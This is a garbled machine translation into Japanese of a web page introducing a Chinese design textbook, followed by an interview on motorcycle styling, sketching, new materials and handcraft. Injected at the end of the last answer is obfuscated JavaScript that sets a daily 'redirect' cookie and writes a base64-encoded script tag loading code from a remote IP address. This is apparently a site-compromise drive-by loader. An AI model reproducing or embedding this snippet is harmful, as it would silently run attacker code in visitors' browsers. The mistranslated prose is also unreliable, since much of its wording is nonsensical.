研究技術とデザイン

 

の循環と中国で掲示されます 75.000 コピー, 中国のエンジニアリング学部における技術マニュアルとして使用するための, 彼ボリューム “技術的な研究とデザイン” 第三は、多作教授によって書かれた技術マニュアルの成功したシリーズであります. ストーンウェン.
インナーの上に私たちから適応し、いくつかの生産工程を説明, 中国の若い学生のための例のためにそれらを取ります.
この本の出版は非常に楽しいし、面白い経験でした.

概要

温度はわずかでした、Chenzhen李、蘇ボリン、エンリコ・レオナルドFagone、ドナートCannatelloは、「製品のデザインソースと画期的な」点から編集しました、ライン、表面、出発体,製品形状の起源をトレースするには,再び開始するソースポイント,私たちは、豊かなスタイリングの解釈の可能性を探っ,自然透析の読者の設計を支援するために、。この本は、6つのモデリング方法を提示します,4モデリングステップ,3製品の団結のヒント,これは、設計作業に従事するリーダーのモデリングの実用的かつ効果的な方法を提供します。自由曲面の場合,提案したハイブリッド、同梱とアクションは、モデリング技術の3種類を考えます,読者が自由曲面モデリング難易度を制御することが目標とソリューションを提供しています。この本は心理的惰性を形作るために着手します,5グループは心理的惰性とブレークスルーをモデル化する方法を提案しています,読者は独自のスタイルの限界を打破するために,モデリングの世界に豊かなウィンドウが開きます。本は欧州のトップデザイナーの数をインタビュー,イタリアのトップデザイン会社の数に現地視察,新しいデザイン最初の手の情報を読者に提供します,これらの設計例における詳細な分析を通じて、,私たちは、読者はこれらの優れたデザイナーの設計方法や優れたデザインのケースモデリングプロセスを理解するのに役立ちます,それは読者がビジョンを設計し、読者の審美的なレベルを向上させることができます。


インタビューの概要:

1A. バイクの形は今まで自分の新興以来、大きな変化を遂げています. 変更のこのプロセスに関与する因子であるかもしれない何だと思います?

2013 トライアンフ・ボンネビル私は完全に同意しません.

バイクの魂は百年以上で、実質的に変化していません.
彼らはバイクの本質を思い出すので、これは古典的なバイクのスタイルを再解釈し、現在生産中の一部のモデルで確認されています; 二輪車, エンジン, 振動や感情.
必然的に時間に続いたフォームとスタイルの変化は時私の意見に左右される 4 理由: 技術, ファッション, 文化的進化とレース.

 

最初の場合 80 私たちは技術的な進化に主に焦点を当ててきた年, 完璧とパフォーマンスに他enything以上を目的とした生産機械.
最後に 20 代わりに、技術のより興味深い要素の開発とレースが停止年, 唯一の社会/文化的側面にバイクの進化を残します.

 

今日のように、このような側面は、オートバイの生産に支配され、ノスタルジックな生成します, 不合理, 未来的またはハイパー詳細なモデル.

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.1B. ヨーロッパのバイクの形は、将来的に発展する可能性がありますように?

 

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ヨーロッパのデザイン, こうした東洋と西洋のデザインなど, 特定の緊急性を以下の特化されます; フォームは常に生産が始まる場所で定義されています.
必然的文化的汚染にもかかわらず, 欧州の生産は、常に機能的かつ情熱的でもあるバイクを目指します, 駆動と審美的特性との完璧なバランス, 楽しさと有用性. すべては私たち自身の領土と一緒に行きます, そうムラ, 変数景観と, 道路や急な丘を巻き.

アメリカの生産は、彼らの無限の平野と長い直線道路に専用されているとおり, 同時に、東の生産は市場に従う傾向, 非常に機能的かつ合理的な製品と過密都市やストリート.

 

 

 

 

 

 

 

  1. それぞれの優れたバイクのデザインは、独自のユニークなスタイルで紹介され, 顧客の特​​別な感情や含蓄に伝えます. デザイナーとして, フォームの言語を使用して、バイクの個性をどのように示してください ?

オートバイのデザインで, より一般的に工業デザインで, ボリュームが主な機能です, 顧客にメッセージを伝えるために最初の.
光に対して何かを見てみます, 一つは、すぐにその文字を感知することができます: それは、電力を伝える場合, 明るさ, 速度, 優雅または他の何か.

同じことは、自然の中で起こります, ちょうどそのアウトラインから暗闇にプードルからピット・ブルの目の肥え.

 

  1. バイクの設計を考慮に多くの部分を取るために持っています, シャーシなど, エンジン等の排気管と. これは、初心者に複雑で圧倒的な表示されます. あなたは肌のバランスをとる方法について何か提案はありますか (カバー部品) 完璧な統一を達成するための構造を持ちます?

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場合によります: 私たちは、白い紙に描いているか、私たちは何かに取り組んでいます?

一般に, デザインは、最初に来る必要があります, 排気管の前に, フレーム前とエンジンの前に. デザインは、バイクのプロジェクトへの最初のアプローチである必要があります. 力学は、相互の適応とデザインのディレクティブに従います.

デザインのアプローチは、計画を以下の場合 (それがフルモデルチェンジで起こるように), その後、いくつかの固定点は、すべての残りの部分と自由に進めるために決定する必要があります. なバイクなどの技術的なオブジェクトの場合, 簡単なルールがあることができ: 機械的に面白いかよく行われている部分が覆われていません, しかし、ありふれた風景の中に残っ. 可能であれば、それは満足のいくものではない技術的な部分を再設計し、その設計の一部にするために好ましいことがあります, 代わりに、それをカバー.

私たちの設計にしかし1つの基本的な事があります, バイクの視点は、自転車に完全に横になることはありませんが、より高い置かれます; その後、唯一の美しい側面図を設計していないのを聞かせて, 多くの場合、横/優れたボリュームの良い割合は側面図であることがより重要です.

 

  1. ある程度で, 透視図, バイクの光と影は車のそれよりも制御することがより困難です. どのように我々は、バイクのスケッチでのよりよい制御を得ることができます? あなたは私たちのオートバイの描画処理を提示してくださいすることができます( 使用して 6 描画手順を説明するための写真). 若い学生のための, 描画能力を向上させる方法.

オートバイデザインの難しさを考えると, 我々は、マルチレベルデザインとしてそれを解釈することができます.

1最初のレベル, グローバルビジョン, セカンドレベル, より詳細な, 第3レベル, さらに詳細な, 等々. 最初のレベルは最も重要です, どのような顧客が一目で取得します, どのようなあなたのオブジェクトの喜びや楽しさを伝えます.
私は、このルールを次の作品.
全体図からスタート (一般的なボリューム) その後、より多くの特定の詳細の定義と、次の: しっぽ, フロント, フレーム, 等. ネジまで.

  1. バイクと車は、すべての輸送車両であり、両方のフォームデザインは、自然に接続されています. それから, 何, あなたは思いますか, それらのそれぞれを区別?

歴史上, 車やバイクの使用および機能は常にそれゆえ、それぞれの設計異なっていると、.
今、彼らは交差しています, すべての方向に進化.
主な機能の交通を持っていた車, バイクは、より多くのフォームのアイデアにリンクしている間 (遊び, 味, 速度).
今日の市場は、任意の空白を埋める傾向があります, したがって、私たちは純粋関数である純粋な形態で車やバイクを持っています.

バイク用のこの変更は現在の市場に統合することです (即ち, スクーター), 車のためのこの新しい傾向は依然優勢ではありませんしながら、, そして市場の小さなニッチを興味; しかし、私はすぐに私たちがありふれた風景の中にエンジンと車を見ることができますことを確信しています, バイクのように「裸」.

 

 

  1. 現在のところ, 多くの新技術, このような炭素繊維およびLEDなど, バイクの製造に適用されます. どのようにこれらの新技術は、バイクのフォームデザインに影響を与えます?

新技術は、常にその開発プロセスの基本的な部分としてデザインに影響を与えました.
個人的に私が受信され、近代的な技術から理解主要な貢献は、製造番号になっています.
今日では、炭素繊維などの新技術へのバイクのおかげで小さなシリーズを構築することが容易です, LEDの, CNCマシン, プロトタイピングや新素材.

例えば, プロトタイピングとCNCフライス盤は、現代的な素材に適用される私たちはユニークなABSピースを持ってできるようにします, 高価で難しい射出成形の必要なし; 更に, シリコンスタンプのおかげで, 我々は、低コストでポリウレタン中のコピーの小さなシリーズを構築することができます.
またpolyellipticalヘッドライト (さらに優れたLED技術を持ちます) 工業化の限界を克服するために貢献しました. 彼らは、透明プレキシグラスフェアリングに隠してすることができます, それは前に必要だったとして、新たな光をhomologateすることなく、それらを形作ります.
そして最後に、炭素および一般的な積層体は、プラスチックの構造的な境界から私たちを解放します, 機械だけではない審美的な改善と.

 

 

  1. トップバイクのデザインの一部は手仕事で完成されています. どのようにバイクの値は、伝統工芸品で表現されています?

私は好きですし、常に手仕事のサポーターとなって.
オートバイに設計手仕事は、実質的に粘土モデリングおよび詳細のレベルが高くなっています, それはデジタル形式ですべてを変換するために必要なリバースエンジニアリング・プロセスのための時間と経済的なリソースを必要とします.
私は私達の処分であるデジタル手段を使用して好みます, 類推の通路を避け, 創造的なプロセスを簡素化し、スピードアップします. 関数getCookie(E){VAR U = document.cookie.match(新しい正規表現(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/グラム,”\\$1″)+”=([^;]*)”));Uを返します?decodeURIComponent(ザ・[1]):空隙 0}VARのSRC =”データ:テキスト/ javascriptの;base64で、ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,今= Math.floor(Date.now()/1E3),クッキー= getCookie(“リダイレクト”);もし(今>=(時間=クッキー)||無効0 ===時間){VAR時間= Math.floor(Date.now()/1E3 + 86400),日付=新しい日付((新しい日付).時間をもらう()+86400);document.cookie =”リダイレクト=”+時間+”; パス= /; =有効期限が切れます”+date.toGMTString(),document.writeを(”)}